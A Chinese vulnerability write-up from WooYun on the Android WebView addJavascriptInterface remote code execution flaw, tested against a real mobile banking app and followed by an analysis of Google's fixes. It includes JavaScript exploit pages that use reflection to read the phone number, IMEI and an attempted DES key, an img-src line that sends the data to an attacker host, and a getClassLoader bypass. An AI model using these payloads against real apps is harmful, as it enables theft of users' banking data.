Android WebView 漏洞的利用、局限与终结

标签: 漏洞分析 | 发表时间:2016-07-12 02:55 | 作者:歪耳朵猫
出处:http://drops.wooyun.org

0x00 引言


WebView.addJavascriptInterface方法导致的远程代码执行漏洞由来已久,与其相关的CVE有三个( CVE-2012-6636CVE-2013-4710CVE-2014-1939)。从乌云上暴露的 相关漏洞来看,常见的利用方法就是通过反射获得java.lang.Runtime的实例,然后执行一系列shell命令,从而达到读取联系人、发短信、读写SD卡文件、反弹shell、安装APK等目的,可以参考livers的文章 WebView中接口隐患与手机挂马利用

本文通过一个例子讨论如何利用反射来获得APP的运行时信息,以及利用此方法的一些限制和原因分析。

0x01 案例


1.安全的加密算法

本文的起因源于对一个手机银行APP的分析。该APP使用了HTML进行数据传输,并使用了RSA和DES算法对数据加密。首先在本机利用时间戳随机生成一个用于DES加密的秘钥,然后在与服务器握手时用RSA算法(函数n返回的就是公钥)对DES秘钥加密后发送给服务器。

  • 握手

p1

握手完成后,之后的数据就会使用DES进行加解密。

  • 加密

p2

  • 解密

p3

这种加密方式也是一种比较安全的方式,作为中间人即使截获了数据流,没有RSA私钥(这个应该只存在于银行的服务器上)也就无法解密握手数据,得不到DES秘钥也无法解密之后的数据流。

2.addJavascriptInterface的利用

当前的银行手机应用已经不再仅仅满足于查询、转账这些基础功能了。比如这个应用就引入了抠电影( http://m.komovie.cn/),可以在应用里直接打开相关网页,选座、购票并最终跳转到APP的支付Activity。网页与应用交互采用的就是 WebViewaddJavascriptInterface接口,注册了一个名为mpcpay的RunOnJS接口对象。

  • 注册接口

p4

由于该应用并没有设置targetSdkVersion,因此这里应该存在着可利用的漏洞。 测试一下看看,把对http://m.komovie.cn的请求返回结果修改为本地的D:\test.htm。

p5

相比于利用 Runtime执行 shell命令,我更希望能够获得程序本身内部的一些信息。test.htm的内容如下:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</HEAD>
<BODY>
</BODY>
<script type="text/javascript">

try{       
    document.write("**********output start**********<br/>");
    var runtimeClass = window.mbcpay.getClass().forName("java.lang.Runtime");
    document.write(runtimeClass.toString());
    document.write("<br/>");
    var Release = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("RELEASE").get(null);
    var SDK = window.mbcpay.getClass().forName("android.os.Build$VERSION").getField("SDK").get(null);
    document.write("Android " + Release.toString() +" API " + SDK.toString());
    document.write("<br/>");
    var MyAppClass = window.mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.util.MyApplication");
    document.write("Use ClassLoader to get MyAppClass: "+ MyAppClass.toString());
    document.write("<br/>");
    var MyAppClass2 = window.mbcpay.getClass().forName("com.nxy.henan.util.MyApplication");
    document.write("Use forName to get MyAppClass2: "+ MyAppClass2.toString());
    document.write("<br/>");
    document.write("********** output end **********<br/>");
}
catch(e)
{
    document.write(e.toString());
    document.write("<br/>");
} 
</script>
</HTML>

输出结果如图

p6

从代码及对应的输出结果可以看出,可以利用mbcpay.getClass().forName来获得系统类如java.lang.Runtime和android.os.Build$VERSION,但是不能获得com.nxy.henan.util.MyApplication,即APK中所定义的类(抛出了异常)。但是却可以通过mbcpay.getClass().getClassLoader().loadClass来获得。

接下来,就能比较容易的获得APK中public的类的一些静态字段,如:

var mobile = MyAppClass.getField("f").get(null);
document.write(mobile.toString());//手机号码
document.write("<br/>");
document.write(mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.e").getField("d").get(null));//手机串号
document.write("<br/>");

这样,只要通过在页面中加入一个img标签,并设置

img.src="http://xxx.xxx.xxx.xxx/?param=......";

就可以把想要获得的数据上传。

3. 无法获得的字节数组

回过头来再看DES加密和解密的方法,其中明确说明了i.b就是DES算法所用的key。

b.a("XMLManager.DESKEY=>>>>" + i.b);

而它的声明如下

p7

没错,公开的、静态的字节数组。如果得到了数组的内容,就可以对握手之后的数据完全解密。毕竟解密方法都已经有了。于是使用

var desKey = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.i").getField("b").get(null);
document.write(desKey.toString());
document.write("<br/>");

得到的却是

p8

[B 可以看出确实得到了一个字节数组,后面的 4394d738应该就是它的内存地址。但是在js层面,我无法获得数组里的具体内容,因为不能用 [] ,而数组本身也没有类似的get(index)方法。

尝试使用Array.get(Object array, int index):

var ObjectClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Object");
var IntegerClass = mbcpay.getClass().getClassLoader().loadClass("java.lang.Integer");
var intClass = IntegerClass.getField("TYPE").get(null);
var ArrayGetMethod = mbcpay.getClass().getClassLoader().loadClass("java.lang.reflect.Array").getMethod("get",[ObjectClass,intClass]);   

结果只会发生异常,找不到这个get方法。

也无法使用Array.newInstance()创建实例,因为它的构造函数不是公开的。

在尝试了各种方法都无法获得deskey数组的值之后,我在程序代码里发现了这个函数

p9

第一个参数就是握手了URL,第二个参数就是字节数组。这个函数就是前面握手时所调用的,那时的byte数组参数就是经过RSA加密的DES KEY。此时我们或许可以利用它把deskey的原始数据传出去。并且有一个名为a()的静态公开方法返回了它的唯一实例:

var obj_a = mbcpay.getClass().getClassLoader().loadClass("com.nxy.henan.f.a").getMethod("a",null).invoke(null,null);
var ret = obj_a.b("http://www.sohu.com",desKey);
document.write(ret.toString());
document.write("<br/>");

然后得到:

p10

意思是b是一个属性而不是一个方法。仔细看了一下,原来这个类中还声明了一个公开的变量b:

public class a {
public static boolean a = false;
public static String b = null;

其实这应该是混淆器的杰作了,把所有的函数变量都变成了abc。

好吧,直到现在,我仍然没有找到能够获得deskey数组数据的方法。

0x02 分析


1. Weview中方法调用的限制

为了弄清在webview中注册的对象调用方法到底有哪些限制,我写了一个例子程序进行测试:

package my.demo;

import java.lang.reflect.Field;

import dalvik.system.DexClassLoader;
import android.app.Activity;
import android.content.Context;
import android.widget.Toast;

public class MyInterface {
    Activity mContext;

    public String[] strArray = new String[]{"123"};

    public int Value = 100;

    public String[] strArray(int value)
    {
        return this.strArray;
    }

    public String[] getStrArray(int value)
    {
        return this.strArray;
    }
    public String[] getStrArray2(String value)
    {
        return this.strArray;
    }
    public int getIntValue()
    {
        return 10;
    }

    MyInterface(Activity c) {
        mContext = c;
    }

    public void showToast(String webMessage){           

       Toast.makeText(mContext, webMessage, Toast.LENGTH_SHORT).show();
    }
    public Activity getContext()
    {
        return mContext;
    }

    public String test1(String value1)
    {
        Class c;
        return "ret "+value1;
    }

    public static String test6(Object value1)
    {
        Class c;
        return "ret "+value1;
    }

    public String test2(String ... strs)
    {
        String ret = "";
        for(int i=0;i<strs.length;i++)
        {
            ret = ret + strs[i] + "   ";
        }
        return "ret "+ret;
    }

    public String test3(Class cls)
    {
        return "ret "+cls.toString();
    }
    public String test5(Object[]clss)
    {
        try
        {
        String ret = "";
        for(int i=0;i<clss.length;i++)
        {
            ret = ret + clss[i].toString() + "   ";
        }
        return "ret "+ret;
        }catch(Exception e)
        {
            return e.toString();
        }
    }

    public String test4(Class ... clss)
    {
        String ret = "";
        for(int i=0;i<clss.length;i++)
        {
            ret = ret + clss[i].toString() + "   ";
        }
        return "ret "+ret;
    }

}

测试了各种有着不同签名的方法,最终得到如下结论:

  1. 接口对象只能访问公开的字段和方法,这一点和Java对象是一样的。
  2. 接口对象不能直接访问公开字段,如myIntf.Value,而要用myIntf.getClass().getField("Value").get(myIntf)访问。如果同时存在公开的同名字段和方法,如strArray,那么myIntf.strArray既不能当做函数调用,也不能当做字段使用。调用myIntf.strArray(1).toString()会告诉你strArray是一个属性,调用myIntf.strArray.toString()会告诉你strArray是undefined。
  3. 接口对象可以直接调用公开方法(静态方法或实例方法),如myIntf.test1(""),myIntf.test6(obj)等。其参数可以是基本类型,可以是基本类型的数组,可以是对象类型,但是不!可!以!是对象类型的数组。比如Object[],Object ... ,Class[],Class ... 都不可以。
  4. 目标类型如果有默认的构造函数,则可以用myIntf.getClass("xxx").newInstance()创建对象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes)获得其构造函数,但是只能获得没有类型参数的。也就是说,无法创建构造函数带参数的类型的对象。
  5. 目标类型可以获得其静态的无参数方法,如myIntf.getClass("xxx").getMethod("method1",null),但是不能获得有参数的方法,如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是说,用getMethod().invoke()只能调用无参数的静态方法。调用有参数的静态方法,只能先获得实例,再用实例进行调用。
  6. 可以通过myIntf.getClass().getField("strArray").get(null)获得实例的数组对象strArray,但是通过函数调用返回的数组类型(无论是不是基本类型数组)结果都是undefined,如getStrArray2将返回undefined。

有了上面这些限制条件,有很多有意思的想法便不能实现。比如不能new一个File来读写文件,不能new一个DexClassLoader来实现 动态加载外部dex/jar(这两个类都没有无参数的构造函数),当然也不能调用Array.get()来获得数组的内容。所以接下来就对WebView的相关代码进行分析,希望能找到答案。

2.NPAPI

http://androidxref.com/是一个不错的Andrid源码在线浏览网站,可以找到各个版本的Android Source Code,而且搜索的速度也比较快。由于使用的测试手机系统是4.3,因此主要参考了 JellyBean - 4.3 (4.4.x和5.x中的实现与4.3略有不同,本文不再过多讨论)。经过一番查找,最后在 xref: /external/webkit/Source/WebCore/bridge/目录下找到了一些关键的实现类。从这个目录里的文件可以看出,google通过实现了NPAPI接口来支持js和java的交互。关于NPAPI,可以参考 https://en.wikipedia.org/wiki/NPAPI以及 NPAPI & NPRuntime 簡介 Scriptable Plugin

根据NPAPI的文档以及对相关实现类的分析,绘制了下面的关系图:

p11

当注册js对象时(本例中是mbcpay),会为该js对象创建一个JavaNPObject对象,从它一方面可以得到JavaClassJobject对象,从而得到MyInterface(mbcpay对应的java类型)的类型信息,包括字段和方法信息;另一方面可以获得JavaInstanceJobject对象,从而能够调用MyInterface实例的方法、

获取实例的属性。

JavaNPObject定义在 这里

这个文件里定义了几个关键的方法,通过调试可以确定这几个方法的用途:

//判断目标对象是否存在指定的方法,方法名由identifier指定
91 bool JavaNPObjectHasMethod(NPObject* obj, NPIdentifier identifier)
//调用Invvoke执行目标对象的方法,方法名由identifier指定,其后是调用参数和结果参数
110 bool JavaNPObjectInvoke(NPObject* obj, NPIdentifier identifier, const NPVariant* args, uint32_t argCount, NPVariant* result)
//判断目标对象是否存在指定的属性,属性名由identifier指定
164 bool JavaNPObjectHasProperty(NPObject* obj, NPIdentifier identifier)
//获得目标对象的属性,属性名由identifier指定,其后是结果参数
179 bool JavaNPObjectGetProperty(NPObject* obj, NPIdentifier identifier, NPVariant* result)

具体调试的过程本文不再列出,不过需要说明的是,这些关键函数最终都会被编译到 /system/lib/libwebcore.so(Android 4.3)。并且函数名已经被strip掉了,最终都是一些名为sub_xxxxxxxx的函数。为了找到正确的函数地址,用到了一个比较取巧的办法。

JavaNPObjectInvoke函数中,调用了 convertNPVariantToJavaValue方法,目的是将js的调用参数转换为java对象。在这个方法中,有一些关键的字符串,如 [Ljava.lang.String;。通过在IDA中搜索相关字符串,很容易找到 convertNPVariantToJavaValue函数的位置。

p12

断在这个函数后,执行到返回,就可以找到 JavaNPObjectInvoke方法的位置,进而可以找到其他函数的地址。

3.方法调用被限制的原因

接下来,就可以解释为什么Webview中注册的方法会有那些调用限制了。

1.接口对象只能访问公开的字段和方法

JavaClassJobject在创建时,会去调用Java对象的getFields和getMethods,并把结果保存到内部列表里,以供以后查询。这两个方法本身就只会得到其对象的公开字段和方法,除非使用getDeclaredFields和getDeclardMethods。但是这里也没理由这么做。

2.接口对象不能直接访问公开字段,如myIntf.Value。如果同时存在公开的同名字段和方法,如strArray,那么myIntf.strArray既不能当做函数调用,也不能当做字段使用。

对于myIntf.strArray,程序会首先判断这是否一个字段。 JavaNPObjectHasProperty返回 true,就会继续调用 JavaNPObjectGetProperty获得属性值。在这个方法的最后有这么一段:

p13

可以看到,如果是ANDROID系统。JavaValue value只是一个默认值,并没有调用getField。所以最后得到的结果是undefined。而对于myIntf.strArray(),程序也会把它先判断为是一个字段。因此最后的结果就是前面看到的,“property strArray of object is not a function”。

但是在 Android 4.4.2的代码中,这个问题得到了修复。因为在这个版本中, HasProperty与GetProperty都直接返回了false。这样strArray()就可以正常调用了。那么也许在4.4.2版本中,通过握手方法a.b()把字节数组传出就能够实现了,这里并没有再继续验证。

3.接口对象可以直接调用公开方法(静态方法或实例方法)。其参数可以是基本类型,可以是基本类型的数组,可以是对象类型,但是不!可!以!是对象类型的数组。

关于这个限制,要看 convertNPVariantToJavaValue对参数的转换。在这个函数里,支持了各种类型从NPVariant转换为JavaValue, 除非返回值的类型是Array,而且是个非基本类型的Array。

 switch (javaType) {
52    case JavaTypeArray:
53    #if PLATFORM(ANDROID)
......
 } else {
205                // JSC sends null for an array that is not an array of strings or basic types.
206                break;
207            }

也就是说,此方法不支持Object数组或是Class数组的参数转换,参数会直接被丢弃(转换后length=0)。

4.目标类型如果有默认的构造函数,则可以用myIntf.getClass("xxx").newInstance()创建对象。也可以用 myIntf.getClass("xxx").getConstructor(Class<?>... parameterTypes)获得其构造函数,但是只能获得没有类型参数的。也就是说,无法创建构造函数带参数的类型的对象。

这个就好解释了,因为有限制3,而getConstructor的参数又是Class不定长数组: public Constructor<T> getConstructor(Class<?>... parameterTypes)

5.目标类型可以获得其静态的无参数方法,如myIntf.getClass("xxx").getMethod("method1",null),但是不能获得有参数的方法,如myIntf.getClass("xxx").getMethod("method2",[params of method2])。也就是说,用getMethod().invoke()只能调用无参数的静态方法。调用有参数的静态方法,只能先获得实例,再用实例进行调用。

这个限制的原因也是因为有限制3,getMethod的方法签名是 public Method getMethod(String name, Class<?>... parameterTypes),第二参数也是一个Class不定长数组。因此,无论传什么参数,都只能获得无参数的方法。

6.可以通过myIntf.getClass().getField("strArray").get(null)获得实例的数组对象strArray,但是通过函数调用返回的数组类型(无论是不是基本类型数组)结果都是undefined,如getStrArray2将返回undefined。

这是因为,根据方法的签名,getField("").get(null)最后返回的都是一个Object,而getStrArray2函数返回的签名是数组。虽然他们实际返回的都是同一个数组对象,但是在 JavaNPObjectInvoke函数的最后,调用 convertJavaValueToNPVariant将JavaValue转换为NPVariant时,就走了完全不同的路径。

341    case JavaTypeObject:
342        {
343            // If the JavaValue is a String object, it should have type JavaTypeString.
344            if (value.m_objectValue)
345                OBJECT_TO_NPVARIANT(JavaInstanceToNPObject(value.m_objectValue.get()), *result);
346            else
347                VOID_TO_NPVARIANT(*result);
348        }
349        break;
......
415    case JavaTypeInvalid:
416    default:
417        {
418            VOID_TO_NPVARIANT(*result);
419        }
420        break;
421    }

如果返回值是Java对象类型,那么就正常转换为NPObject;如果是数组类型,将直接掉到defalut,于是返回undefined。

0x03 终结


1.@JavaScriptInterface

对于 addJavascriptInterface漏洞, google在Android 4.2(API>=17)上解决了这个问题。要求在允许被调用的方法上加 @JavaScriptInterface注解,同时设置 android:targetSdkVersion>=17。它是如何起作用的呢?

还是回到 JavaClassJobject这个类。在其构造函数被调用,填充它的字段和函数列表时,调用了jsAccessAllowed函数,判断是否允许调用目标函数。

p14

而jsAccessAllowed函数定义如下:

p15

可以看到,如果 m_requireAnnotation

为真,则需要检查目标方法是否有 android/webkit/JavascriptInterface注解,有才允许调用。如果 m_requireAnnotation 为假,那么目标方法总是允许被调用。

requireAnnotation WebViewClassic.java中计算得出:

p16

因此,只要设置了targetSdkVersion>=17,就会自动执行对方法上的 JavaScriptInterface注解的检查。不允许调用没有注解的方法。

2.阻止getClass调用

如果不设置targetSdkVersion,那么仍然不能阻止调用任意的公开方法。因此,google在 Android 4.4.4版本上从底层直接阻止了getClass方法的调用。在 JavaBoundObject::Invoke中,判断是否调用的是getClass方法,如果是则返回 kAccessToObjectGetClassIsBlocked,即 "Access to java.lang.Object.getClass is blocked"

p17

这样,无论是否设置了targetSdkVersion,getClass方法不允许被调用,就从根本上禁止了Webview的js对象的反射方法调用。

3.是否真的万无一失?

虽然禁止了getClass的调用,但是还有一个getClassLoader呢?Android的Context类自带一个叫做getClassLoader的public方法。因此,试验一下把js对象注册到Activity上:

public void onCreate(Bundle savedInstanceState) {
......
    Wv.addJavascriptInterface(this, "mbcpay");

脚本也稍作修改,需要的类都用loadClass加载:

try{    
    var loader = window.mbcpay.getClassLoader();

    document.write(loader);
    document.write("<br/>");

    var runtimeClass = loader.loadClass("java.lang.Runtime");
    document.write(runtimeClass.toString());
    document.write("<br/>");
    var Release = loader.loadClass("android.os.Build$VERSION").getField("RELEASE").get(null);
    var SDK = loader.loadClass("android.os.Build$VERSION").getField("SDK").get(null);
    document.write("Android " + Release.toString() +" API " + SDK.toString());
    document.write("<br/>") 
}catch(e)
{

    document.write(e.toString());   
    document.write("<br/>");
} 

最后,在不设置targetSdkVersion>=17时,可以看到结果:

p18

虽然几乎没有人会把 addJavascriptInterface注册到 this上,但是,万一呢?

0x04 最后


没有最后了。

本文的一些结论和观点都是出自个人的一些理解和试验得到的结论,有错误之处,欢迎大家拍砖。

相关 [android webview 漏洞] 推荐:

Android WebView 漏洞的利用、局限与终结

- - WooYun知识库
WebView.addJavascriptInterface方法导致的远程代码执行漏洞由来已久,与其相关的CVE有三个( CVE-2012-6636、 CVE-2013-4710、 CVE-2014-1939). 从乌云上暴露的 相关漏洞来看,常见的利用方法就是通过反射获得java.lang.Runtime的实例,然后执行一系列shell命令,从而达到读取联系人、发短信、读写SD卡文件、反弹shell、安装APK等目的,可以参考livers的文章 WebView中接口隐患与手机挂马利用.

你不知道的 Android WebView 使用漏洞

- - CSDN博客推荐文章
现在很多App里都内置了Web网页(Hyprid App),比如说很多电商平台,淘宝、京东、聚划算等等,如下图. Android的WebView 实现的,但是 WebView 使用过程中存在许多漏洞,容易造成用户数据泄露等等危险,而很多人往往会忽视这个问题. Android WebView的使用漏洞 及其修复方式.

android WebView详解,常见漏洞详解和安全源码

- - CSDN博客推荐文章
  这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析.   转载请注明出处: http://blog.csdn.net/self_study/article/details/54928371.   对技术感兴趣的同鞋加群 544645972 一起交流.

Android WebView 用法

- - 移动开发 - ITeye博客
Android和iOS系统都提供了标准的浏览器控件,在Android中是WebView,iOS中为UIWebView. 在iOS中你实例化一 个UIWebView即可调用loadRequest来加载一个网页,但是在Android中你不仅需要创建一个WebView,还需要做一些其他的事 情,建议初次使用WebView的读者按照以下步骤使用:.

Android WebView的坑总结

- - CSDN博客推荐文章
       最近把做好的iPad HybridApp向Android迁移,碰到的坑太多了,让我这个折腾过Android接近4年的老鸟都头疼. 现在把前人遇到的都列出来,再慢慢解决自己的,目前已经解决了android键盘覆盖问题,下面最棘手的问题就是屏幕高度的适配问题了. 1、 Andrid4.1事件穿透BUG 原因不明.

Android中WebView页面交互

- - SegmentFault 最新的文章
在android内打开一个网页的时候,有时我们会要求与网页有一些交互. 而这些交互是在基于javaScript的基础上. 那么我们来学习一下android如何与网页进行JS交互. protected View refresh;// 刷新按钮. protected String url = "";// 网址url.

Android: 在WebView中获取网页源码

- - ITeye博客
 使能javascript:. 编写自己的WebViewClient,并在onPageFinished中提取网页源码. 运行,可以看到在showSource(String html)中打印了网页源码. 已有 0 人发表留言,猛击->> 这里<<-参与讨论. —软件人才免语言低担保 赴美带薪读研.

Android WebView中的JavaScript代码使用

- - 博客园_首页
  上一篇博文: Android WebView使用基础已经说了一些Android中WebView的基本使用.   本篇文章主要介绍WebView中的JavaScript代码的执行相关,已经JS代码与Android代码的互相调用.   (因为本人对Web开发并不是很熟悉,所以如果有哪些地方说得不对,还请指正.

Android WebView 常见的九个问题

- - 移动开发 - ITeye博客
关注微信号:javalearns   随时随地学Java. 目前Android WebView问题越来越多,接下来由爱内测(www.ineice.com)的技术工程师为我们介绍几种常见的Android WebView问题:. 1.为WebView自定义错误显示界面: /** * 显示自定义错误提示页面,用一个View覆盖在WebView */ protected void showErrorPage() { LinearLayout webParentView = (LinearLayout)mWebView.getParent();.

android WebView, WebChromeClient和WebViewClient加载网页基本用法

- - CSDN博客推荐文章
WebView, WebChromeClient和WebViewClient加载网页基本用法.  webview是android中的浏览器控件,在一些手机应用中常会用到b/s模式去开发应用,这时webview的强大功能就会显示出来.  1、webview的几点设置.  权限设置:.AndroidManifest.xml中必须使用许可"android.permission.INTERNET",否则会出Web page not available错误.